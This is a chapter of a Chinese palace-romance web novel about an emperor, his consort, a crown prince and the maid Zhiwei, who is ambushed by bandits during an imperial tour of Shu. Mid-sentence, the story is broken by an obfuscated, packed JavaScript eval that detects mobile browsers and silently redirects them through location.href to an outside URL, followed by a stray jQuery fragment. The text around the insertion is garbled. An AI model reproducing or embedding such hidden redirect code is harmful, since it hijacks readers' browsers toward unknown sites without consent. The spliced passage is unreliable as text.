祝隶稷先是沉默。
指尖摩挲着刻有双方印鉴的纸张，他忽地嗤笑一声：“你们倒会挑时候，朕刚定下巡视的日子，就来添这桩喜事。”
“时候真真巧。”祝隶稷身子后仰，道。
素日放荡的王渺枭没有立刻接话，仍躬身立在殿中，措辞陈恳：“臣与长公主殿下，实属同命人，确是真心相待。”
这话很是郑重，祝隶稷翘起眉头，喉结动了动。
“同命人？”祝隶稷抬眼，目光扫过王渺枭脸上的疤痕，“朕的眼皮子不算窄，这些时日你们私下往来，不是没察觉。朕只是好奇，一个公主，一个破格提拔的指挥使，怎么就成了同命人？”他指尖点了点请婚书，“享着皇家俸禄，住着锦衣玉食，用着至极权力，这命，算苦吗？”
这个时候请婚，算是联合，还是聚在一起取暖，祝隶稷并不在意。
一个是亲姐，一个是心腹，眼皮子底下这般久，祝隶稷自信二人做不出大事。
只他实在不喜二人私相授受，便也在话语中含了些讽意。
王渺枭沉默片刻，抬头时眼底竟带了些自嘲。
“臣知晓，什么都瞒不过陛下。”王渺枭上前，“信与不信，陛下知遇之恩在，臣都是陛下的人。”王渺枭表上一番衷心。
祝隶稷捏着请婚书的手顿了顿。到底只剩这点亲眷了，没必要驳了面子。祝隶稷笑了，将请婚书扔回案上：“罢了，随你们去。”
“只是告诉祝华，嫁了人就安分些，别再像从前那样，把宫宴当戏台闹。”祝隶稷端起茶杯，淡淡道。
王渺枭叩首以示遵旨。
——
储秀宫。
万珍儿一指挑起祝隶稷遣人送来的衣裳，全无兴趣。
东西是哄早上推开她的那一下，不过是算计，万珍儿起身，视线转向一身军装的万祁。
“还未祝贺兄长此番高升。”万珍儿举起杯盏，“镇国大将军，嫡母怕是骄傲死了。”万珍儿自幼在乡下庄子散漫大的，回了万家又做了家族巩权的工具，对所谓娘家没什么好感，对那位时常冷脸苛待自己的嫡母更是如此。
万祁知道万珍儿是在嘲讽，只是摆手，叫下人将外头几个箱子抬进来。
箱子里满是各类金银，期间不乏国库才有的几样宝贝，想来是圣上赏赐的，万祁没带回万家，最先抬给万珍儿了。
“宫中打点，你用得上。”万祁言简意赅。
万珍儿是个花钱大手大脚的，每逢万祁入宫，都会给她带些补贴，她早早习惯了这种日子，自然是收下。
上下打量眼前这位嫡兄，二人在她未出阁时候确实关系好，哪怕是入了东宫，二人的往来书信也不少，只这些年她心思深了，两人又是好几月才能见上一回，到底生疏了。
“多谢阿兄。”万珍儿收下珠宝，行礼道。
她正要躬身，万祁一双大手扶住她。
“自家兄妹。”万祁深了深眸，他又问，“这次巡视，皇上可要你伴驾？”
只有宠妃才有伴驾的资格，万珍儿敛了敛神色，原是敲打自己来了。
“我不去。”万珍儿扭身，祝隶稷倒是派人问了她意思，可今儿他才推了她一番，巡视又是舟车劳顿，她又何苦自讨没趣，倒不如待在宫中，继续给皇后添堵才好。
万珍儿心里这般想，嘴上却道自己无能，没引得君王为自己折腰，说这话时，她不忘耸了耸肩，摆明了一副气人样。
可意料之中的“家族规劝”并没有自万祁嘴中说出，万祁点了点头，只丢下一句“不伴驾为好，如此安全”，随即便告辞了。
——
巡视出巡的前一夜，养心殿，御膳房送来一盅冰镇的雪梨汤。
已是盛夏，用来解暑倒是不错。只这味道怕是……祝隶稷不作多想，御膳房保守惯了，做什么都是一个套路。
祝隶稷靠在软榻上，平海侍立在旁，看着他舀起一勺，眉头几不可察地松了松。
这汤炖得绵密，梨肉入口即化，甜意里带着点清润的凉。
“谁做的？”祝隶稷咽下汤，问。
平海忙躬身：“回陛下，是御膳房新提上来的主厨，说是祖传的药膳方子，最是温补。”
“倒是用了心思。”祝隶稷评价，难得勾了勾唇角。
平海觑着他的脸色，上前半步，小心翼翼试探：“听说这新提上来的主厨，是晏尚食从前带过的徒弟，学了些她的手艺……”
“哐——”极重的一声，是瓷盏碰触案面的声音。
“你今天的话有些多。”好不容易的那点笑被咽回肚，祝隶稷恢复冷冰样，瞥平海一眼。
平海自知说错话，低下头，想撤下瓷碗。
祝隶稷先他一步触碰到碗，随即面无表情地将盏中剩余汤汁一饮而尽。喉结滚动，他将空盏掷回托盘，声音听不出喜怒。
“告诉太子，此次巡视，让他一同随行。”
“嗻。”平海淌着冷汗退下。
——
马车颠簸在官道上，车轮碾过碎石，发出单调的辘辘声。
知微靠着车壁，眉眼间笼着一层挥之不去的恹恹之色。
巡视一事，祝晟本不必前往，是突然接到的旨意，知微原是可来可不来，奈何祝晟前几日染了风寒，皇后忧心忡忡，竟派了蒋嬷嬷亲自请她去。
知微虽心中不愿，但念及皇后对自己的恩情，终究还是应了下来。再者说，她现今不过一宫中奴婢，哪有说不的余地，多少仍要识相些。
知微叹气，手指卷过自己的发梢，说是巡视，队伍浩浩荡荡，她只希望，这一路上不要与祝隶稷碰面再生事端才好。
知微这头惆怅着，对面，祝晟正借着车窗透入的微光，蹙眉疾书。小几上摊着未写完的策论，是出发前他父皇额外布置的课业。
“姑姑，你看我这策论写得怎么样？”少年捧着卷书简，鼻尖还泛着红，“父皇说这次巡视要考我民生见闻，我得多写些，不然他又要生气。”
祝隶稷管教祝晟向来严苛，知微凑过去，见竹简上写满了关于“边地流民”的字句，字迹工整，倒是比从前规整了不少。
瞧着祝晟认真的模样，她心中不禁生出几分感慨——
事实上，祝晟本贪玩的年纪，怎会对这些无聊的公文感兴趣，只程玊芝近来身子愈发不爽利，祝晟生怕自己稍有懈怠，引来父皇的不满，继而迁怒母后，他这才收了性子，专心治学起来。
也是不易啊。
知微垂眸，忽而想起自己曾经问过祝隶稷，如果祝晟成不了明君该当如何。当时祝隶稷是怎么回答来着？
“国家需要贤明的君主，只要有为，坐在太子之位的人，孤不介意，他从谁的腹中爬出。”
好
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16402406|178576||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
似是这般。
可如今这么多年过去了，祝隶稷的后宫依旧冷清得像雪洞，子嗣也仅晟儿一个。是真觉得祝晟可堪大用，还是……身子不行了？
这大逆不道的念头窜出来，知微一个没忍住，唇角极轻微地弯了一下，溢出一点几不可闻的气音。
“姑姑笑什么？”祝晟恰好抬头，捕捉到她那点笑意。
知微立刻敛容，摇摇头：“没什么，想起些旧事罢了。”说完，她侧身掀开小帘，恰逢车队暂歇，“我去溪边打些水来。”她拎了水囊，下车寻溪流去。
。
到了小溪边，知微蹲下身子，双手捧起一捧清凉。环顾四周，层叠的山峦和茂密的林木透出几分眼熟。
“姑姑，您也在这儿啊。”一个清脆的声音打断了知微的思绪。她回头一看，原来是一个小内侍，正提着水桶走来。
“是啊，这儿的水真清。”知微笑着回应。
一旁同来取水的小内侍点头感慨：“这蜀郡地界，山山水水瞧着就是不一样哈！”
蜀郡？
知微的心猛地一沉。
竟是这里……岭南逃亡，军营生死，山洞相依……那些刻意尘封的记忆被猛地撬开，汹涌扑来。
她想起那年在蜀郡的密林里，祝明煜骑着马冲过来的模样，想起自己摔下悬崖时，祝隶稷攥着她手腕的那股劲，还有孙为在军营帮她时，脱口而出的那句“你和我的故人很像”。
恍惚已隔世。
知微望着溪水中自己的倒影，又想起那些笑话般的承诺，什么“只我能伤你”、“定会护你周全”，一时竟怔住了。
她呆愣在原地不动，小内侍灌满水囊先走了，溪边只剩她一人。
风声穿过林隙，带来些许窸窣异响。知微心头一紧，猛地回头，就见两个蒙面人举着刀扑过来。
“小娘们！识相点把值钱的交出来！”
知微下意识抓起脚边一块锐利的石头，横在身前，色厉内荏地喝道：“别过来！”
她侧身躲开刀，手中尖石狠狠砸在其中一人的胳膊上。那人吃痛嘶吼，另一人趁机扑上来，死死攥住她的手腕。
眼看那脏污的手就要抓到她的衣襟——
“嗖！”
一支羽箭破空而来，精准无比地贯穿了山贼的胸膛。
山贼脸上的狞笑瞬间凝固，难以置信地低头看向自己心口洇开的血花，哼都未哼一声，便重重栽倒在地。
知微握着石头，惊魂未定，胸口剧烈起伏，怔怔地看向箭矢来处。
林荫深处，一人收起长弓，快步奔来，青衣缓带，面容清俊焦急。
“晏姑娘！你没事吧？”江覃赶到她面前，气息微乱，眼中满是关切。
知微惊魂未定，脸颊因方才的挣扎和惊吓透出些血色，张了张口，那句“多谢”还未出口，却见江覃神色一肃，倏然侧身，朝着她身后的方向，极其恭谨地垂首躬身，跪拜下去。
“臣，参见陛下。”
知微浑身一僵，血液仿佛瞬间冻住。
她慢慢地、极其艰难地转过身。
溪流上游，一人负手而立。
玄色常服勾勒出挺拔却冷寂的身形，祝隶稷站在那儿，不知已看了多久。
他的脸上没什么表情，唯有那双深不见底的眸子，正隔着潺潺流水，静默地落在知微身上。